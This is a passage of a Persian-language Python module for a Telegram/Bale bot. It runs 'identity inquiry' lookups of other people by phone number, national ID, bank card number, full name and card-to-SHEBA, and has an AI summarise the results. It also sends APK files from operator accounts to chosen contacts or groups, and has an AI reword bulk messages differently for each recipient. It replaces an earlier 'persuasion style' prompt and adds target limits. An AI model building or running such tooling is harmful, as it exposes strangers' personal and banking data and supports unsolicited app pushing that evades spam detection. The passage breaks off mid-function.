        "phone": "شماره تلفن",
        "national_id": "کد ملی",
        "card": "شماره کارت",
        "full_name": "نام و نام خانوادگی",
        "card_to_sheba": "تبدیل کارت به شبا",
    }
    qlabel = query_labels.get(query_type, "استعلام هویتی")

    # برای حفظ حریم خصوصی، مقدار ورودیِ حساس را در متن تحلیل تکرار نمی‌کنیم؛
    # AI فقط خودِ پاسخ سرویس را تحلیل می‌کند.
    prompt = (
        "تو تحلیل‌گر پاسخ یک سرویس استعلام رسمی هستی.\n"
        f"نوع درخواست: {qlabel}\n\n"
        "متن/نتیجه‌ای که سرویس استعلام برگردانده است:\n"
        f"{raw[:9000]}\n\n"
        "وظیفه: نتیجه را برای کاربر به فارسی ساده و دقیق خلاصه و تحلیل کن. "
        "هیچ داده‌ای را حدس نزن و چیزی که در پاسخ سرویس نیست اضافه نکن. "
        "اگر پاسخ ناقص، نامشخص یا خطادار است صریحاً همین را بگو. "
        "اطلاعات تکراری و پیام‌های سیستمی را حذف کن. "
        "خروجی را در قالب مرتب با عنوان‌های کوتاه ارائه کن. "
        "فقط نتیجه‌ی قابل استفاده برای کاربر را بنویس و درباره‌ی روش فنی اجرا صحبت نکن."
    )

    try:
        sys_prompt = (
            "تحلیل‌گر پاسخ استعلام رسمی. "
            "فقط بر اساس داده‌ی موجود پاسخ بده، هیچ حدس یا داده‌ی جدیدی نساز. "
            "فارسی، دقیق و خلاصه."
        )
        result = await asyncio.wait_for(
            ai_obj.chat(
                [
                    {"role": "system", "content": sys_prompt},
                    {"role": "user", "content": prompt},
                ],
                uid=int(uid), account_id=int(aid),
                action_type="identity_result_analysis",
                temperature=0.2,
                max_tokens=TRX290_IDENTITY_AI_MAX_TOKENS,
            ),
            timeout=TRX290_IDENTITY_AI_TIMEOUT,
        )
        analyzed = str(result or "").strip()
        if analyzed:
            return analyzed[:10000]
        _log_warn("[TRX290][identity-ai] empty AI response; returning raw result")
    except asyncio.TimeoutError:
        _log_warn("[TRX290][identity-ai] analysis timeout; returning raw result")
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _log_warn(f"[TRX290][identity-ai] analysis failed: {_mask(str(exc))}")

    return raw


async def _trx290_identity_on_msg_final(msg):
    try:
        uid = (msg.get("from") or {}).get("id")
        chat_id = (msg.get("chat") or {}).get("id")
        txt = str(msg.get("text") or "").strip()
        if not uid or not chat_id:
            if callable(_TRX290_IDENTITY_ON_MSG_BASE):
                return await _TRX290_IDENTITY_ON_MSG_BASE(msg)
            return None

        # Prefer the legacy state when it is valid; fall back to the dedicated
        # identity context when another handler has overwritten the global state.
        legacy = _trx290_state_get(uid)
        state_name = str(legacy.get("state") or "") if legacy else ""
        identity_states = {
            "trx290_id_lookup_phone",
            "trx290_id_lookup_nid",
            "trx290_id_lookup_card",
            "trx290_id_lookup_name",
            "trx290_id_lookup_c2s",
        }
        if state_name not in identity_states:
            ctx = _trx290_identity_ctx_get(uid, chat_id)
            state_name = str(ctx.get("state") or "") if ctx else ""

        if state_name not in identity_states:
            if callable(_TRX290_IDENTITY_ON_MSG_BASE):
                return await _TRX290_IDENTITY_ON_MSG_BASE(msg)
            return None

        if not txt or txt.startswith("/"):
            return await _bot().send(chat_id, "❌ ورودی متنی معتبر بفرست یا «لغو» را بزن.")

        # Validate before consuming state. Invalid input must keep the wizard alive.
        query_type = ""
        normalized = txt
        lookup = None
        acc_platform = "telegram"

        if state_name == "trx290_id_lookup_phone":
            query_type = "phone"
            normalized = _trx290_norm_digits(txt)
            normalized = re.sub(r"[^0-9+]+", "", normalized)
            if not re.match(r"^\+?\d{8,15}$", normalized):
                return await _bot().send(
                    chat_id,
                    "❌ شماره معتبر نیست. نمونه: `+98912xxxxxxx`\nدوباره شماره را بفرست:"
                )
            lookup = _trx290_lookup_phone_telegram
        elif state_name == "trx290_id_lookup_nid":
            query_type = "national_id"
            normalized = _trx290_only_digits(txt)
            if len(normalized) != 10:
                return await _bot().send(
                    chat_id,
                    "❌ کد ملی باید دقیقاً ۱۰ رقم باشد. دوباره بفرست:"
                )
            lookup = _trx290_lookup_national_id_telegram
        elif state_name == "trx290_id_lookup_card":
            query_type = "card"
            normalized = _trx290_only_digits(txt)
            if len(normalized) != 16:
                return await _bot().send(
                    chat_id,
                    "❌ شماره کارت باید دقیقاً ۱۶ رقم باشد. دوباره بفرست:"
                )
            lookup = _trx290_lookup_card_telegram
        elif state_name == "trx290_id_lookup_name":
            query_type = "full_name"
            normalized = txt[:300]
            if len(normalized) < 5:
                return await _bot().send(
                    chat_id,
                    "❌ نام و نام خانوادگی کامل را وارد کنید:"
                )
            lookup = _trx290_lookup_fullname_telegram
        elif state_name == "trx290_id_lookup_c2s":
            query_type = "card_to_sheba"
            acc_platform = "bale"
            normalized = _trx290_only_digits(txt)
            if len(normalized) != 16:
                return await _bot().send(
                    chat_id,
                    "❌ شماره کارت باید دقیقاً ۱۶ رقم باشد. دوباره بفرست:"
                )
            lookup = _trx290_lookup_card_to_sheba_bale

        acc = _trx290_get_identity_account(acc_platform)
        if not acc:
            # Do not consume the state here; the user can retry after admin setup.
            label = "بله" if acc_platform == "bale" else "تلگرام"
            return await _bot().send(
                chat_id,
                f"❌ اکانت {label} استعلام تنظیم نشده است.\n"
                "بعد از تنظیم اکانت، همین ورودی را دوباره بفرست.",
                reply_markup=trx.main_menu(get_lang(uid), uid),
            )

        processing = None
        try:
            processing = await _bot().send(chat_id, "⏳ در حال استعلام؛ لطفاً صبر کنید...")
        except Exception as exc:
            _log_warn(f"[TRX290][identity] processing message send: {_mask(str(exc))}")

        # Now consume the state exactly once, immediately before the external call.
        try:
            _trx290_state_pop(uid)
        except Exception:
            pass
        _trx290_identity_ctx_pop(uid, chat_id)

        try:
            if query_type == "phone":
                result = await asyncio.wait_for(
                    lookup(uid, acc["account_id"], normalized),
                    timeout=TRX290_IDENTITY_TIMEOUT,
                )
            elif query_type == "national_id":
                result = await asyncio.wait_for(
                    lookup(uid, acc["account_id"], normalized),
                    timeout=TRX290_IDENTITY_TIMEOUT,
                )
            elif query_type == "card":
                result = await asyncio.wait_for(
                    lookup(uid, acc["account_id"], normalized),
                    timeout=TRX290_IDENTITY_TIMEOUT,
                )
            elif query_type == "full_name":
                result = await asyncio.wait_for(
                    lookup(uid, acc["account_id"], normalized),
                    timeout=TRX290_IDENTITY_TIMEOUT,
                )
            else:
                result = await asyncio.wait_for(
                    lookup(uid, acc["account_id"], normalized),
                    timeout=TRX290_IDENTITY_TIMEOUT,
                )
        except asyncio.TimeoutError:
            result = "❌ سرویس استعلام در مهلت مجاز پاسخ نداد. دوباره تلاش کنید."
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            _log_err(f"[TRX290][identity-final] {query_type}: {_mask(str(exc))}")
            result = f"❌ خطا در استعلام: {_mask(str(exc))[:300]}"

        # مرحله‌ی دومِ دقیق: نتیجه‌ی ربات استعلام → تحلیل با AI → خروجی نهایی کاربر
        raw_result = str(result or "❌ نتیجه‌ای از سرویس استعلام دریافت نشد.")
        analyzed_result = await _trx290_identity_ai_analyze(
            uid, int(acc["account_id"]), query_type, normalized, raw_result
        )

        try:
            _trx290_id_log(
                uid, query_type, normalized, acc_platform,
                acc["account_id"], "identity", str(analyzed_result),
            )
        except Exception:
            pass

        try:
            pid = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
            if pid:
                await _bot().call("deleteMessage", chat_id=chat_id, message_id=pid)
        except Exception:
            pass

        try:
            return await _bot().send(
                chat_id,
                str(analyzed_result or "❌ نتیجه‌ای دریافت نشد.")[:10000],
                reply_markup=trx.main_menu(get_lang(uid), uid),
            )
        except Exception as exc:
            _log_err(f"[TRX290][identity-final] result send: {_mask(str(exc))}")
            return None

    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _log_err(f"[TRX290][identity-final] router: {_mask(str(exc))}\n{traceback.format_exc(limit=20)}")
        try:
            return await _bot().send(
                chat_id,
                "⚠️ خطای موقت در بخش استعلام؛ دوباره از منوی استعلام هویتی وارد شوید.",
                reply_markup=trx.main_menu(get_lang(uid), uid),
            )
        except Exception:
            return None


try:
    trx.dispatch_cb = _trx290_identity_dispatch_final
    trx.on_msg = _trx290_identity_on_msg_final
    _log_info(f"[TRX290] identity final router installed: {TRX290_IDENTITY_REPAIR_BUILD}")
except Exception as exc:
    _log_warn(f"[TRX290] identity final router install failed: {_mask(str(exc))}")

# ═══════════════════════════════════════════════════════════════════
#  33) FINAL UI/STATE REPAIR — APK routing + contacts send buttons
# ═══════════════════════════════════════════════════════════════════
# این لایه additive است و منطق اصلی forward/APK و AI را از TRXF2 نگه می‌دارد.
# برای جلوگیری از ارسال ناخواسته فایل اجرایی، APK در این overlay فقط به
# یک مقصد صریح در هر اجرا تحویل می‌شود؛ انتخاب چند مقصد UI صرفاً برای نمایش
# و انتخاب است و اجرای worker چندمقصدی مسدود می‌شود.

TRX290_V6_REPAIR_BUILD = "2026-09-28-apk-contacts-router-v6"
TRX290_SAFE_APK_MAX_TARGETS = 1
TRX290_SAFE_BULK_MAX_TARGETS = 10


def _trx290_apk_group_rows(uid: int, aid: int, platform: str, limit: int = 100):
    """گروه/سوپرگروه/کانال‌های شناخته‌شده اکانت را از known_peers می‌خواند."""
    if _db() is None:
        return []
    try:
        rows = _db().fetchall(
            "SELECT peer_id, peer_type, last_seen FROM trx01_known_peers "
            "WHERE user_id=? AND account_id=? AND platform=? "
            "AND peer_type IN ('group','supergroup','channel') "
            "ORDER BY last_seen DESC LIMIT ?",
            (int(uid), int(aid), str(platform).lower(), int(limit)),
        )
        out = []
        seen = set()
        for r in rows:
            peer = str(r["peer_id"] or "").strip()
            if peer and peer not in seen:
                seen.add(peer)
                out.append(peer)
        return out[:limit]
    except Exception as exc:
        _log_warn(f"[TRX290][v6] group list: {_mask(str(exc))}")
        return []


async def _trx290_build_target_page_v6(uid: int, aid: int, platform: str,
                                        batch_id: str, page: int = 0,
                                        kind: str = "contacts"):
    """صفحه چک‌باکسی پایدار برای مخاطب یا گروه؛ page در cache حفظ می‌شود."""
    PER_PAGE = 10
    if kind == "groups":
        items = _trx290_apk_group_rows(uid, aid, platform, limit=100)
        title = "انتخاب گروه"
        subtitle = "یک گروه را برای دریافت APK انتخاب کن."
    else:
        items = await _trx290_get_contacts(uid, aid, platform, limit=150)
        title = "انتخاب مخاطبین"
        subtitle = "روی هر مخاطب بزن تا تیک آن تغییر کند."

    cache_key = (int(uid), str(batch_id))
    old = _TRX290_BULK_BATCH_CACHE.get(cache_key) or {}
    _TRX290_BULK_BATCH_CACHE[cache_key] = {
        **old,
        "aid": int(aid),
        "platform": str(platform),
        "contacts": items,
        "total": len(items),
        "page": int(page),
        "kind": kind,
    }

    selected = set()
    try:
        rows = _db().fetchall(
            "SELECT peer_id FROM trx290_bulk_tick "
            "WHERE user_id=? AND batch_id=? AND selected=1",
            (int(uid), str(batch_id)),
        )
        selected = {str(r["peer_id"]) for r in rows}
    except Exception:
        pass

    total = len(items)
    pages = max(1, (total + PER_PAGE - 1) // PER_PAGE)
    page = max(0, min(int(page), pages - 1))
    start = page * PER_PAGE
    end = min(start + PER_PAGE, total)

    buttons = []
    for item in items[start:end]:
        mark = "☑" if item in selected else "☐"
        cb = f"trx290.v6.{kind}.tick:{batch_id}:{item}"
        buttons.append([(f"{mark} {item[:30]}", cb, "primary")])

    nav = []
    if page > 0:
        nav.append(("⬅️ قبلی", f"trx290.v6.{kind}.page:{batch_id}:{page-1}", "primary"))
    if end < total:
        nav.append(("➡️ بعدی", f"trx290.v6.{kind}.page:{batch_id}:{page+1}", "primary"))
    if nav:
        buttons.append(nav)

    if kind == "groups":
        buttons.append([(f"✅ انتخاب گروه ({len(selected)})", f"trx290.v6.groups.continue:{batch_id}", "success")])
    else:
        buttons.append([
            (f"✅ انتخاب همه ({total})", "trx290.bulk.selectall", "success"),
            ("❌ لغو انتخاب", "trx290.bulk.deselectall", "danger"),
        ])
        buttons.append([(f"📨 ادامه ({len(selected)})", "trx290.bulk.continue", "success")])
    buttons.append([("❌ لغو", "cancel", "danger")])

    text = (
        f"{SEP}\n📋 **{title}**\n{SEP}\n\n"
        f"📱 پلتفرم: **{_trx290_platform_label(platform)}**\n"
        f"📊 کل: **{total}**\n"
        f"✅ انتخاب‌شده: **{len(selected)}**\n"
        f"📄 صفحه: **{page+1}/{pages}**\n\n"
        f"{subtitle}\n"
    )
    return text, _trx290_IKB(buttons)


# جایگزینی امن builder مشترک؛ callbackهای قدیمی همچنان معتبر می‌مانند.
try:
    _trx290_build_contacts_page = _trx290_build_target_page_v6
except Exception as exc:
    _log_warn(f"[TRX290][v6] builder install: {_mask(str(exc))}")


_TRX290_V6_ORIG_DISPATCH = getattr(trx, "dispatch_cb", None)
_TRX290_V6_ORIG_ON_MSG = getattr(trx, "on_msg", None)


async def _trx290_v6_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        await _trx290_safe_answer(cb_id)
    except Exception:
        pass

    try:
        # ── APK: بعد از انتخاب اکانت، اول نوع مقصد ──
        if data_s.startswith("trx290.apksend.acc:"):
            aid, platform = _trx290_parse_acc_platform(data_s)
            if aid is None:
                return await _trx290_safe_edit(
                    chat_id, msg_id, "❌ آیدی اکانت نامعتبر.",
                    _trx290_platform_kb(lang, "trx290.apksend.plat", "ai.apk.send"),
                )
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (int(aid), int(uid)),
            )
            if not row:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ اکانت پیدا نشد.", trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_apksend_dest_mode",
                               account_id=int(aid), platform=str(platform))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📤 **ارسال APK — انتخاب مقصد**\n{SEP}\n\n"
                f"📱 اکانت: `#{aid}`\n\n"
                "ابتدا مشخص کن APK برای کجا آماده شود:",
                _trx290_IKB([
                    [("👤 آیدی/مخاطب", "trx290.apksend.dest.ids", "primary")],
                    [("👥 گروه‌های اکانت", "trx290.apksend.dest.groups", "primary")],
                    [("❌ لغو", "cancel", "danger")],
                ]),
            )

        if data_s in ("trx290.apksend.dest.ids", "trx290.apksend.dest.groups"):
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_dest_mode":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ مرحله منقضی شده.", trx.ai_advanced_menu(lang, uid))
            mode = "ids" if data_s.endswith(".ids") else "groups"
            _trx290_state_set(uid, "trx290_apksend_link",
                               account_id=int(s["account_id"]), platform=str(s["platform"]),
                               dest_mode=mode)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📦 **لینک APK**\n{SEP}\n\n"
                f"📱 پلتفرم: **{_trx290_platform_label(s['platform'], lang)}**\n"
                f"📱 اکانت: `#{int(s['account_id'])}`\n\n"
                "لینک همان پیام APK را از یک کانال در همین پلتفرم بفرست:",
                _trx290_IKB([[('❌ لغو', 'cancel', 'danger')]]),
            )

        # ── APK: صفحه گروه‌ها ──
        if data_s == "trx290.v6.groups.pick":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_apksend_recipients":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ مرحله منقضی شده.", trx.ai_advanced_menu(lang, uid))
            batch_id = _trx290_gen_batch_id(uid)
            text, kb = await _trx290_build_target_page_v6(
                uid, int(s["account_id"]), str(s["platform"]), batch_id, 0, "groups"
            )
            _trx290_state_set(uid, "trx290_apksend_group_pick",
                               account_id=int(s["account_id"]), platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]), batch_id=batch_id)
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s.startswith("trx290.v6.groups.page:"):
            _, _, rest = data_s.partition("trx290.v6.groups.page:")
            parts = rest.split(":", 1)
            batch_id = parts[0]
            page = int(parts[1] or 0) if len(parts) > 1 and parts[1].lstrip('-').isdigit() else 0
            cache = _TRX290_BULK_BATCH_CACHE.get((int(uid), batch_id)) or {}
            text, kb = await _trx290_build_target_page_v6(
                uid, int(cache.get("aid") or 0), str(cache.get("platform") or ""),
                batch_id, page, "groups"
            )
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s.startswith("trx290.v6.groups.tick:"):
            rest = data_s.split("trx290.v6.groups.tick:", 1)[1]
            parts = rest.split(":", 1)
            if len(parts) != 2:
                return
            batch_id, peer = parts
            cache = _TRX290_BULK_BATCH_CACHE.get((int(uid), batch_id)) or {}
            if cache.get("kind") != "groups":
                return
            # برای اجرای APK فقط یک مقصد گروهی در هر عملیات مجاز است.
            _trx290_bulk_clear_batch(uid, batch_id)
            _trx290_bulk_set_selected(uid, batch_id, peer, 1)
            text, kb = await _trx290_build_target_page_v6(
                uid, int(cache.get("aid") or 0), str(cache.get("platform") or ""),
                batch_id, int(cache.get("page") or 0), "groups"
            )
            return await _trx290_safe_edit(chat_id, msg_id, text, kb)

        if data_s.startswith("trx290.v6.groups.continue:"):
            batch_id = data_s.split(":", 1)[1]
            s = _trx290_state_get(uid)
            selected = _trx290_bulk_get_selected(uid, batch_id)
            if not s or s.get("state") != "trx290_apksend_group_pick":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ مرحله منقضی شده.", trx.ai_advanced_menu(lang, uid))
            if len(selected) != 1:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ دقیقاً یک گروه را انتخاب کن.", trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_apksend_ai_choice",
                               account_id=int(s["account_id"]), platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]), peers=selected)
            _trx290_bulk_clear_batch(uid, batch_id)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                "🤖 آیا می‌خواهی متن تبلیغاتیِ شفاف و غیرالزامی همراه APK ارسال شود؟",
                _trx290_IKB([
                    [("🤖 بله، متن پایه را می‌دهم", "trx290.apksend.ai.yes", "primary")],
                    [("🚫 نه، فقط APK", "trx290.apksend.ai.no", "success")],
                    [("❌ لغو", "cancel", "danger")],
                ])
            )

        # ── FIX: «ارسال» در پیام به مخاطبین باید bulk state را هم بپذیرد. ──
        if data_s == "trx290.bulk.continue":
            s = _trx290_state_get(uid)
            if not s or s.get("state") not in ("trx290_bulk_tick", "trx290_apksend_tick"):
                return await _trx290_safe_edit(chat_id, msg_id, "❌ مرحله منقضی شده؛ دوباره وارد پیام به مخاطبین شو.", trx.ai_advanced_menu(lang, uid))
            batch_id = str(s.get("batch_id") or "")
            selected = _trx290_bulk_get_selected(uid, batch_id)
            if not selected:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ هیچ مخاطبی انتخاب نشده.", trx.ai_advanced_menu(lang, uid))
            if s.get("state") == "trx290_bulk_tick":
                if len(selected) > TRX290_SAFE_BULK_MAX_TARGETS:
                    return await _trx290_safe_edit(
                        chat_id, msg_id,
                        f"❌ برای این عملیات حداکثر {TRX290_SAFE_BULK_MAX_TARGETS} مخاطب را انتخاب کن.\n"
                        f"الان {len(selected)} مخاطب انتخاب شده است.",
                        _trx290_IKB([[('↩️ بازگشت به انتخاب مخاطب', f"trx290.bulk.page:{batch_id}:0", 'primary')],
                                     [('❌ لغو', 'cancel', 'danger')]])
                    )
                _trx290_state_set(uid, "trx290_bulk_ai_choice",
                                   account_id=int(s["account_id"]), platform=str(s["platform"]),
                                   peers=selected)
                _trx290_bulk_clear_batch(uid, batch_id)
                return await _trx290_safe_edit(
                    chat_id, msg_id,
                    f"✅ {len(selected)} مخاطب برای پیام انتخاب شد.\n\nآیا AI متن پایه را برای هر مخاطب به شکل متفاوت بازنویسی کند؟",
                    _trx290_IKB([
                        [("🤖 بله", "trx290.bulk.ai.yes", "primary")],
                        [("✏️ نه، متن ثابت", "trx290.bulk.ai.no", "success")],
                        [("❌ لغو", "cancel", "danger")],
                    ])
                )
            # حالت APK قدیمی: اجازه بده مسیر موجود خودش کار کند.

        if data_s == "trx290.bulk.ai.yes":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_bulk_ai_choice":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.", trx.ai_advanced_menu(lang, uid))
            _trx290_state_set(uid, "trx290_bulk_base_text",
                               account_id=int(s["account_id"]), platform=str(s["platform"]),
                               peers=list(s.get("peers") or []), use_ai=True)
            return await _trx290_safe_edit(
                chat_id, msg_id,
                "📝 متن پایه را بفرست؛ متن برای هر مخاطب جداگانه و با تفاوت‌های طبیعی بازنویسی می‌شود.",
                _trx290_IKB([[('❌ لغو', 'cancel', 'danger')]])
            )

        if data_s == "trx290.bulk.ai.no":
            s = _trx290_state_get(uid)
            if not s or s.get("state") != "trx290_bulk_ai_choice":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.", trx.ai_advanced_menu(lang, uid))
            peers = list(s.get("peers") or [])[:TRX290_SAFE_BULK_MAX_TARGETS]
            _trx290_state_pop(uid)
            _trx290_create_task(_trx290_bulk_worker(
                uid, int(s["account_id"]), str(s["platform"]),
                peers, False, "", chat_id, lang,
            ))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"⏳ ارسال پیام به {len(peers)} مخاطب انتخاب‌شده شروع شد.",
                _trx290_IKB([[('↩️ بازگشت', 'ai', 'primary')]])
            )

    except Exception as exc:
        _log_err(f"[TRX290][v6] dispatch: {_mask(str(exc))}\n{traceback.format_exc(limit=20)}")

    if callable(_TRX290_V6_ORIG_DISPATCH):
        return await _TRX290_V6_ORIG_DISPATCH(cb_id, uid, lang, u, chat_id, msg_id, data_s)
    return None


async def _trx290_v6_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not chat_id:
        if callable(_TRX290_V6_ORIG_ON_MSG):
            return await _TRX290_V6_ORIG_ON_MSG(msg)
        return None

    try:
        s = _trx290_state_get(uid)
        state_name = str(s.get("state") or "") if s else ""

        # ── APK link با حفظ dest_mode ──
        if state_name == "trx290_apksend_link":
            aid = int(s["account_id"]); platform = str(s["platform"]); dest_mode = str(s.get("dest_mode") or "ids")
            ok, reason, _mid, _hint = trx._trx01_validate_apk_link(platform, txt)
            if not ok:
                return await _bot().send(chat_id, f"❌ {reason}")
            try:
                ok_save, info, row = await asyncio.wait_for(
                    trx._trx660_save_apk_link(uid, aid, platform, txt), timeout=40.0
                )
            except Exception as exc:
                ok_save, info, row = False, str(exc), None
            if not ok_save or not row:
                return await _bot().send(chat_id, f"❌ ذخیره APK: {str(info)[:300]}")
            apk_id = int(row.get("apk_id") or row.get("id") or 0)
            if apk_id <= 0:
                return await _bot().send(chat_id, "❌ شناسه APK معتبر برنگشت.")

            if dest_mode == "groups":
                _trx290_state_set(uid, "trx290_apksend_recipients",
                                   account_id=aid, platform=platform, apk_id=apk_id)
                return await _bot().send(
                    chat_id,
                    "✅ APK ثبت شد. حالا گروه مقصد را انتخاب کن:",
                    reply_markup=_trx290_IKB([
                        [("👥 نمایش گروه‌های اکانت", "trx290.v6.groups.pick", "primary")],
                        [("❌ لغو", "cancel", "danger")],
                    ])
                )

            _trx290_state_set(uid, "trx290_apksend_manual_ids",
                               account_id=aid, platform=platform, apk_id=apk_id,
                               dest_mode="ids")
            return await _bot().send(
                chat_id,
                "✅ APK ثبت شد.\n\nآیدی مقصد را خط‌به‌خط بفرست. برای این مسیر فقط **یک مقصد** در هر اجرا پذیرفته می‌شود:",
                reply_markup=_trx290_IKB([[('❌ لغو', 'cancel', 'danger')]])
            )

        # ── APK manual id: یک مقصد ──
        if state_name == "trx290_apksend_manual_ids" and str(s.get("dest_mode") or "") == "ids":
            ids = [x.strip() for x in txt.splitlines() if x.strip()]
            if len(ids) != 1:
                return await _bot().send(chat_id, "❌ در ارسال APK فقط یک آیدی مقصد در هر اجرا وارد کن.")
            _trx290_state_set(uid, "trx290_apksend_ai_choice",
                               account_id=int(s["account_id"]), platform=str(s["platform"]),
                               apk_id=int(s["apk_id"]), peers=ids)
            return await _bot().send(
                chat_id,
                "🤖 متن تبلیغاتیِ شفاف و اختیاری هم همراه APK ارسال شود؟",
                reply_markup=_trx290_IKB([
                    [("🤖 بله، متن پایه را می‌دهم", "trx290.apksend.ai.yes", "primary")],
                    [("🚫 نه، فقط APK", "trx290.apksend.ai.no", "success")],
                    [("❌ لغو", "cancel", "danger")],
                ])
            )

        # ── Bulk contacts text ──
        if state_name == "trx290_bulk_base_text":
            base_text = txt[:1500]
            peers = list(s.get("peers") or [])[:TRX290_SAFE_BULK_MAX_TARGETS]
            _trx290_state_pop(uid)
            if not base_text:
                return await _bot().send(chat_id, "❌ متن خالی است. دوباره متن پایه را بفرست.")
            _trx290_create_task(_trx290_bulk_worker(
                uid, int(s["account_id"]), str(s["platform"]),
                peers, True, base_text, chat_id, get_lang(uid),
            ))
            return await _bot().send(
                chat_id,
                f"⏳ ارسال پیام شخصی‌سازی‌شده به {len(peers)} مخاطب انتخاب‌شده شروع شد.",
                reply_markup=_trx290_IKB([[('↩️ بازگشت', 'ai', 'primary')]])
            )

    except Exception as exc:
        _log_err(f"[TRX290][v6] on_msg: {_mask(str(exc))}\n{traceback.format_exc(limit=20)}")

    if callable(_TRX290_V6_ORIG_ON_MSG):
        return await _TRX290_V6_ORIG_ON_MSG(msg)
    return None


# ── AI personality: product specialist, not generic assistant ──
_TRX290_V6_PRODUCT_AI_STYLE = """
حالت گفت‌وگو: «متخصص محصول». هدف مکالمه ارائه توضیح روشن و شفاف درباره خود محصول و
کمک به تصمیم آگاهانه برای نصب/استفاده از آن است؛ نه نقش یک دستیار عمومی برای موضوعات نامرتبط.
فقط از مزایای واقعی و داده‌های موجود استفاده کن. ادعای مقام رسمی، بانک، قوه قضاییه، اپراتور،
برنده‌شدن، بدهی، جریمه، فوریت ساختگی یا هر ادعای تأییدنشده نساز. کاربر را فریب نده و از
تهدید یا فشار روانی استفاده نکن. اگر سؤال کاملاً نامرتبط است، محترمانه و کوتاه بگو که تمرکزت
روی محصول است و گفت‌وگو را به ویژگی، کاربرد، امنیت، مزیت واقعی یا روش استفاده از محصول برگردان.
""".strip()

_TRX290_V6_OLD_STYLE = globals().get("TRX290_PERSUASION_STYLE", "")
TRX290_PERSUASION_STYLE = _TRX290_V6_PRODUCT_AI_STYLE


def _trx290_ai_system_product(uid, aid, mode="reply", extra="", **kwargs):
    try:
        base = _TRX290_ORIG_AI_SYSTEM(uid, aid, mode, extra, **kwargs) if callable(_TRX290_ORIG_AI_SYSTEM) else ""
    except TypeError:
        try:
            base = _TRX290_ORIG_AI_SYSTEM(uid, aid, mode, extra) if callable(_TRX290_ORIG_AI_SYSTEM) else ""
        except Exception:
            base = ""
    except Exception:
        base = ""
    if str(mode).startswith("vip_") or str(mode) in ("analysis", "kwl_short_reply"):
        return base
    return (base or "") + "\n\n" + TRX290_PERSUASION_STYLE

try:
    trx._trx_ai_system = _trx290_ai_system_product
except Exception as exc:
    _log_warn(f"[TRX290][v6] AI style install: {_mask(str(exc))}")

try:
    trx.dispatch_cb = _trx290_v6_dispatch
    trx.on_msg = _trx290_v6_on_msg
    _log_info(f"[TRX290] V6 UI/state repair installed: {TRX290_V6_REPAIR_BUILD}")
except Exception as exc:
    _log_warn(f"[TRX290][v6] hook install: {_mask(str(exc))}")
# ═══════════════════════════════════════════════════════════════════
# 34) FINAL SAFETY/STARTUP REPAIR — stable main path + account warning mute
# ═══════════════════════════════════════════════════════════════════
# خط 5454 قبلاً به _MAIN_PATH محلی این فایل اشاره می‌کرد؛ این نام متعلق به
# TRX_888 است. از اینجا مسیر واقعی را از ماژول patch-1 می‌گیریم و fallback داریم.
TRX290_V7_BUILD = "2026-09-28-mainpath-health-silent-v7"
TRX290_MAIN_PATH_SAFE = getattr(_patch1, "_MAIN_PATH", None) or os.path.join(_HERE, "TRXF2.py")

# ---------- Account-health notification mute ----------
TRX290_HEALTH_SILENT_PREFIX = "trx290.health.silent:"
TRX290_HEALTH_SILENT_KEY = "trx290:health_alert_silent:{uid}"


def _trx290_health_silent_key(uid: int) -> str:
    return TRX290_HEALTH_SILENT_KEY.format(uid=int(uid))


def _trx290_health_is_silent(uid: int) -> bool:
    try:
        return str(_trx290_setting_get(_trx290_health_silent_key(uid), "0")).strip() == "1"
    except Exception:
        return False


def _trx290_health_set_silent(uid: int, enabled: bool) -> bool:
    return _trx290_setting_set(_trx290_health_silent_key(uid), "1" if enabled else "0")


def _trx290_health_alert_keyboard(uid: int):
    return _trx290_IKB([
        [("🔇 سایلنت هشدارهای اکانت", f"{TRX290_HEALTH_SILENT_PREFIX}{int(uid)}", "danger")],
        [("📊 وضعیت اکانت‌ها", "user.health.show", "primary")],
    ])


# جایگزینی alert تابع اصلی TRX_888 در همان ماژول؛ scheduler موجود خودش این نام را
# resolve می‌کند، بنابراین هیچ scheduler دوم و هیچ polling اضافه‌ای لازم نیست.
_TRX290_ORIG_HEALTH_ALERT = getattr(_patch1, "_health_alert", None)


def _trx290_health_alert_with_silent(uid, account_id, h):
    try:
        uid = int(uid)
        account_id = int(account_id)
        if _trx290_health_is_silent(uid):
            _log_info(f"[TRX290][health] alert suppressed for uid={uid}")
            return

        stamp = trx.now()
        row = _db().fetchone(
            "SELECT last_alert_at FROM trx_account_health WHERE user_id=? AND account_id=?",
            (uid, account_id),
        )
        if row and row["last_alert_at"]:
            try:
                last = datetime.fromisoformat(str(row["last_alert_at"]))
                if (datetime.utcnow() - last).total_seconds() < 1800:
                    return
            except Exception:
                pass

        _db().execute(
            "UPDATE trx_account_health SET last_alert_at=? WHERE user_id=? AND account_id=?",
            (stamp, uid, account_id),
        )

        text = TRX_UI_STYLE.report(
            "هشدار اکانت",
            {
